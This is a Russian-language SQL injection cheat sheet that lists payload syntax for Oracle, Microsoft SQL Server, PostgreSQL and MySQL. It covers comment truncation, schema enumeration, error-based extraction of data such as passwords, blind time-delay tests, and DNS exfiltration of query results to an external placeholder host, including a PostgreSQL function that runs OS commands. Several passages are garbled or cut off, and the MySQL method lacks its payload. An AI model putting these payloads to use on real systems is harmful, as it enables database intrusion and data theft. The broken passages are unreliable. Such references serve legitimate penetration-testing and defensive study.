Шпаргалка по SQL инъекциям
Эта шпаргалка по SQL инъекциям содержит примеры полезного синтаксиса, который вы можете использовать для выполнения различных задач, часто возникающих при выполнении атак с использованием SQL-инъекций.
Объединение строк
Вы можете объединить несколько строк в единую строку.
- Oracle
'foo'||'bar'
- Microsoft
'foo'+'bar'
- PostgreSQL
'foo'||'bar'
- MySQL
'foo' 'bar'
[Обратите внимание на пробел между двумя строками]CONCAT('foo','bar')
Подстрока
Вы можете извлечь часть строки из заданного смещения с заданной длиной. Обратите внимание, что индекс смещения основан на 1. Каждое из следующих выражений вернет строку обратно.
- Oracle
SUBSTR('foobar', 4, 2)
- Microsoft
SUBSTRING('foobar', 4, 2)
- PostgreSQL
SUBSTRING('foobar', 4, 2)
- MySQL
SUBSTRING('foobar', 4, 2)
Комментарии
Вы можете использовать комментарии, чтобы усечь запрос и удалить ту часть исходного запроса, которая следует за вашими вводимыми данными.
- Oracle
--comment
- Microsoft
--comment
/*comment*/
- PostgreSQL
--comment
/*comment*/
- MySQL
#comment
-- comment
[Обратите внимание на пробел после двойного тире]/*comment*/
Версия базы данных
Вы можете запросить базу данных, чтобы определить ее тип и версию. Эта информация полезна при разработке более сложных атак.
- Oracle
SELECT banner FROM v$version
SELECT version FROM v$instance
- Microsoft
SELECT @@version
- PostgreSQL
SELECT version()
- MySQL
SELECT @@version
Содержимое базы данных
Вы можете перечислить таблицы, существующие в базе данных, и столбцы, которые содержат эти таблицы.
- Oracle
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
- Microsoft
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
- PostgreSQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
- MySQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Условные ошибки
Вы можете протестировать одно логическое условие и вызвать ошибку базы данных, если условие истинно.
- Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
- Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
- PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
- MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Извлечение данных с помощью видимых сообщений об ошибках
Потенциально вы можете получать сообщения об ошибках, приводящие к утечке конфиденциальных данных, возвращаемых вашим вредоносным запросом.
- Microsoft
SELECT 'foo' WHERE 1 = (SELECT 'secret')
> Conversion failed when converting the varchar value 'secret' to data type int.
- PostgreSQL
SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
> invalid input syntax for integer: "secret"
- MySQL
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
> XPATH syntax error: '\secret'
Пакетные (или штабелированные) запросы
Вы можете использовать пакетные запросы для выполнения нескольких запросов подряд. Обратите внимание, что при выполнении последующих запросов результаты не возвращаются в приложение. Следовательно, этот метод в первую очередь используется в отношении слепых уязвимостей, когда вы можете использовать второй запрос для запуска поиска DNS, условной ошибки или временной задержки.
- Oracle
Does not support batched queries.
- Microsoft
QUERY-1-HERE; QUERY-2-HERE
QUERY-1-HERE QUERY-2-HERE
- PostgreSQL
QUERY-1-HERE; QUERY-2-HERE
- MySQL
QUERY-1-HERE; QUERY-2-HERE
Примечание
В MySQL пакетные запросы обычно не могут использоваться для SQL-инъекции. Однако иногда это возможно, если целевое приложение использует определенные API-интерфейсы PHP или Python для взаимодействия с базой данных MySQL.
Временные задержки
Вы можете вызвать временную задержку в базе данных при обработке запроса. Следующее приведет к безусловной временной задержке в 10 секунд.
- Oracle
dbms_pipe.receive_message(('a'),10)
- Microsoft
WAITFOR DELAY '0:0:10'
- PostgreSQL
SELECT pg_sleep(10)
- MySQL
SELECT SLEEP(10)
Условные временные задержки
Вы можете протестировать одно логическое условие и вызвать временную задержку, если условие истинно.
- Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
- Microsoft
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
- PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
- MySQL
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
DNS lookup (Поиск DNS)
Вы можете заставить базу данных выполнить поиск по DNS для внешнего домена. Чтобы сделать это, вам нужно будет использовать Burp Collaborator для создания уникального поддомена Burp Collaborator, который вы будете использовать в своей атаке, а затем опросить сервер Collaborator, чтобы подтвердить, что произошел поиск DNS.
- Oracle (XXE) уязвимость для запуска поиска в DNS. Уязвимость была исправлена, но существует множество непатченных установок Oracle: Следующий метод работает на полностью исправленных установках Oracle, но требует повышенных привилегий:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
- Microsoft
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
- PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
- MySQL
Следующий метод работает только в Windows:
DNS lookup с эксфильтрацией данных
Вы можете заставить базу данных выполнить поиск по DNS для внешнего домена, содержащего результаты введенного запроса. Чтобы сделать это, вам нужно будет использовать Burp Collaborator для создания уникального поддомена Burp Collaborator, который вы будете использовать в своей атаке, а затем опросить сервер Collaborator для получения подробной информации о любых взаимодействиях с DNS, включая отфильтрованные данные.
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();